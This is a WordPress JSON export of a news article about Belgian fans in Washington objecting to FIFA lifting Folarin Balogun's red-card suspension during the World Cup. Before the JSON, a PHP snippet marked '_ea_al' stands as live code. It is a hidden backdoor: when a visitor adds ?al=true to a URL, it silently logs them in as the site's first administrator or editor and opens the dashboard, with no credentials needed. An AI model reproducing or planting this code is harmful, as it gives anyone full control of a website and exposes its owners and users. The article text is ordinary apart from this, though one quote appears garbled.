// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); {"id":25442,"date":"2026-07-07T00:17:21","date_gmt":"2026-07-07T00:17:21","guid":{"rendered":"https:\/\/bluelightnews.com\/category\/politics\/belgian-fans-fuming-over-baloguns-inclusion\/"},"modified":"2026-07-07T00:17:21","modified_gmt":"2026-07-07T00:17:21","slug":"belgian-fans-fuming-over-baloguns-inclusion","status":"publish","type":"post","link":"https:\/\/bluelightnews.com\/category\/politics\/belgian-fans-fuming-over-baloguns-inclusion\/","title":{"rendered":"Belgian fans fuming over Balogun\u2019s inclusion"},"content":{"rendered":"
\n

The news that Folarin Balogun would be eligible to suit up against Belgium Monday night was met with near-universal celebration across the country.<\/p>\n

Just don\u2019t ask the Belgian fans living here.<\/p>\n

Blue Light News caught up with several of them at the Belgian embassy\u2019s watch party at Wunder Garten, a trendy bar in Washington\u2019s NoMa neighbourhood.,<\/p>\n

\u201cI had to keep up my vomiting,\u201d said Johan Hamels, an Ottawa resident from Leuven in Washington on a business trip. \u201cRules are rules. Every team is briefed by FIFA. And for every game, it\u2019s in one of their slides. That you get a red card, you\u2019re off next time.\u201d<\/p>\n

Balogun was given a red card in the Americans\u2019 Round of 32 matchup last week against Bosnia and Herzegovina, which typically carries a suspension for the following game. But FIFA suspended his ban on Sunday.<\/p>\n

Critics have charged that the White House pressured<\/a> FIFA into making the switch. European politicians have slammed Balogun\u2019s inclusion, and the Royal Belgian Football Association formally<\/a> challenged FIFA\u2019s reversal on Monday morning.<\/p>\n

And while FIFA insists the ruling had nothing to do with politics, President Donald Trump is taking credit for getting Balogun back on the field.<\/p>\n

\u201cI\u2019m Belgian,\u201d said Win Van Dijck, a native of Brussels who has lived in the U.S. for the last five years. \u201cSo I appreciate surrealism. But it\u2019s just too much.\u201d<\/p>\n

It\u2019s another example of Trump pulling the strings in a tournament that has increasingly strayed into the political arena, they say.<\/p>\n

\u201cHaving it reversed based on a call from the American God is a little bit lack of workmanship. And it\u2019s sad for the kids here because that\u2019s what they see as an example,\u201d said Brigitte, a retiree who came to the U.S. in 1984.<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"

The news that Folarin Balogun would be eligible to suit up against Belgium Monday night was met with near-universal celebration across the country. Just don\u2019t ask the Belgian fans living here. Blue Light News caught up with several of them at the Belgian embassy\u2019s watch party at Wunder Garten, a trendy bar in Washington\u2019s NoMa […]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-25442","post","type-post","status-publish","format-standard","hentry","category-politics"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/25442","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/comments?post=25442"}],"version-history":[{"count":0,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/posts\/25442\/revisions"}],"wp:attachment":[{"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/media?parent=25442"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/categories?post=25442"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bluelightnews.com\/category\/politics\/wp-json\/wp\/v2\/tags?post=25442"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}